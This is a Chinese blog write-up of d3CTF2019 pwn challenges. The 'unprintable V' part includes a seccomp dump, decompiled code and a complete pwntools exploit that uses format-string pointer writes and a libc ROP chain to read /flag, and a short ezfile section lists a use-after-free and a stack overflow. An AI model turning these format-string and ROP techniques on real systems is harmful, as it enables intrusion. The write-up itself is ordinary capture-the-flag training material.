d3CTF2019

d3CTF pwn writeup

unprintable V

这个题目开了沙箱保护,那么我们可以用seccomp-tools来观察一下:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

可以看出程序是不能Getshell的,我们自然想到为了拿到flag需要做orw。
同时也可以看下开了什么样的保护:

[*] '/home/sh/practice/D3/unprintableV'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found //除了这个都开了
    NX:       NX enabled
    PIE:      PIE enabled

程序逻辑很简单,看下两个主要函数menu和vuln:

void __cdecl menu()
{
  char *a; // [rsp+8h] [rbp-8h]

  a = buf;
  puts("welcome to d^3CTF!");
  printf("here is my gift: %p\n", &a);
  puts("may you enjoy my printf test!");
  close(1);
  while ( strncmp(buf, "d^3CTF", 6uLL) && time )
    vuln();
}
void __cdecl vuln()
{
  read(0, buf, 0x12CuLL);
  printf(buf, buf);
  --time;
}

程序关闭了标准输出流,同时可以知道当输入d^3CTF的时候程序会终止运行。

由于终端的输出被关闭了,所以调式的时候会十分困难,但是我们本地调式的时候可以把close(1)给nop掉,方便我们调试,不过gdb直接看栈里面的情况也是可以的。

格式化字符串不在栈上

此时我们需要找出一串栈上的指针来实现能够确定偏移的任意写。

正好有两个,那么我们就能利用printf把stdout指针的内容改变,指向_IO_2_1_stderr_,如此我们就可以实现屏幕上的内容打印,进而得到libc和elf的基地址,那么我们就可以构造rop在bss段,然后通过修改main函数返回地址使得最后一次返回到bss段,然后rop实现orw就可以了,不难就是麻烦,我写的exp不好,先知上写的很好的一个,我给拷贝下来了。
EXP

from pwn import *

context.arch='amd64'

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def main(host,port=10397):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./unprintableV")
        # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
        # gdb.attach(p)
        debug(0x000000000000A20)
    p.recvuntil("gift: ")
    stack = int(p.recvuntil('\n',drop=True),16)
    info("stack : " + hex(stack))
    p.recvuntil("printf test!")

    payload = "%{}c%6$hhn".format(stack&0xff)
    p.send(payload)
    pause()
    payload = "%{}c%10$hhn".format(0x20)
    p.send(payload)
    pause()

    payload = "%{}c%9$hn".format(0x1680)
    p.send(payload)
    pause()
    payload = "+%p-%3$p*"
    p.send(payload.ljust(0x12c,"\x00"))

    p.recvuntil('+')
    elf_base = int(p.recvuntil('-',drop=True),16)+0x10
    info("elf : " + hex(elf_base))
    libc.address = int(p.recvuntil('*',drop=True),16)-0x110081
    success('libc : '+hex(libc.address))
    pause()
    ret_addr = stack-0x20
    payload = "%{}c%12$hn".format((stack-0x18)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    # offset = 43
    payload = "%{}c%43$hn".format((elf_base)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    payload = "%{}c%12$hn".format((stack-0x18+2)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    # offset = 43
    payload = "%{}c%43$hn".format((elf_base>>16)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    payload = "%{}c%12$hn".format((stack-0x18+4)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    # offset = 43
    payload = "%{}c%43$hn".format((elf_base>>32)&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))

    payload = "%{}c%12$hn".format(ret_addr&0xffff)
    p.send(payload.ljust(0x12c,"\x00"))
    # 0x0000000000000bbd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    payload = "%{}c%43$hn".format((elf_base-0x202070+0xbbd)&0xffff)
    payload = payload.ljust(0x20,"\x00")
    payload += "/flag"+'\x00'*3
    # 0x00000000000a17e0: pop rdi; ret;
    # 0x0000000000023e6a: pop rsi; ret; 
    # 0x00000000001306d9: pop rdx; pop rsi; ret;
    p_rdi = libc.address+0x00000000000a17e0
    p_rsi = libc.address+0x0000000000023e6a
    p_rdx_rsi = libc.address+0x00000000001306d9
    rop = p64(p_rdi)+p64(elf_base+0x10)+p64(p_rsi)+p64(0)+p64(libc.symbols["open"])
    rop += p64(p_rdi)+p64(1)+p64(p_rdx_rsi)+p64(0x100)+p64(elf_base-0x70+0x300)+p64(libc.symbols["read"])
    rop += p64(p_rdi)+p64(2)+p64(p_rdx_rsi)+p64(0x100)+p64(elf_base-0x70+0x300)+p64(libc.symbols["write"])
    payload += rop
    p.send(payload)
    p.interactive()

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    # libc = ELF("./x64_libc.so.6",checksec=False)
    # elf = ELF("./unprintableV",checksec=False)
    main(args['REMOTE'])

知识点

rop链构造:可以利用libc里面的函数配合参数,不一定非要写系统调用或者shellcode,有了libc里面的函数支持,orw写起来挺简单的。
格式化不在栈上:我们就通过找指针链来实现任意写,只要注意偏移一定要确定就可以了。

ezfile

保护除了canary其他都开了,直接分析:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

可以看出还是个读flag的题目。

同时程序几乎全部弃用了printf和puts之类的输出函数,完美的防止了IO_file攻击,同时数据结构为一个数组存ptr一个数组用来标记堆块是否建立成功。

漏洞利用

  1. free的时候没有把指针置NULL,存在UAF
  2. 在进行堆块内容加密的时候存在栈溢出

   转载规则


《d3CTF2019》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
House of Force House of Force
House of Force原理 glibc在空闲堆块无法满足要求的情况下会对top chunk进行操作,从它哪里得到新的满足用户需求的chunk块,House of Force的主要目标就是top chunk,我们如果可以控制top c
2020-02-10
下一篇 
ByteCTF2019 ByteCTF2019
byteCTFbyteCTF note_five这个题目没有可是输出堆块内容的选项,就是要劫持_IO_stdout了。漏洞: __int64 __fastcall read_in(__int64 ptr, signed int size,
2020-02-10
  目录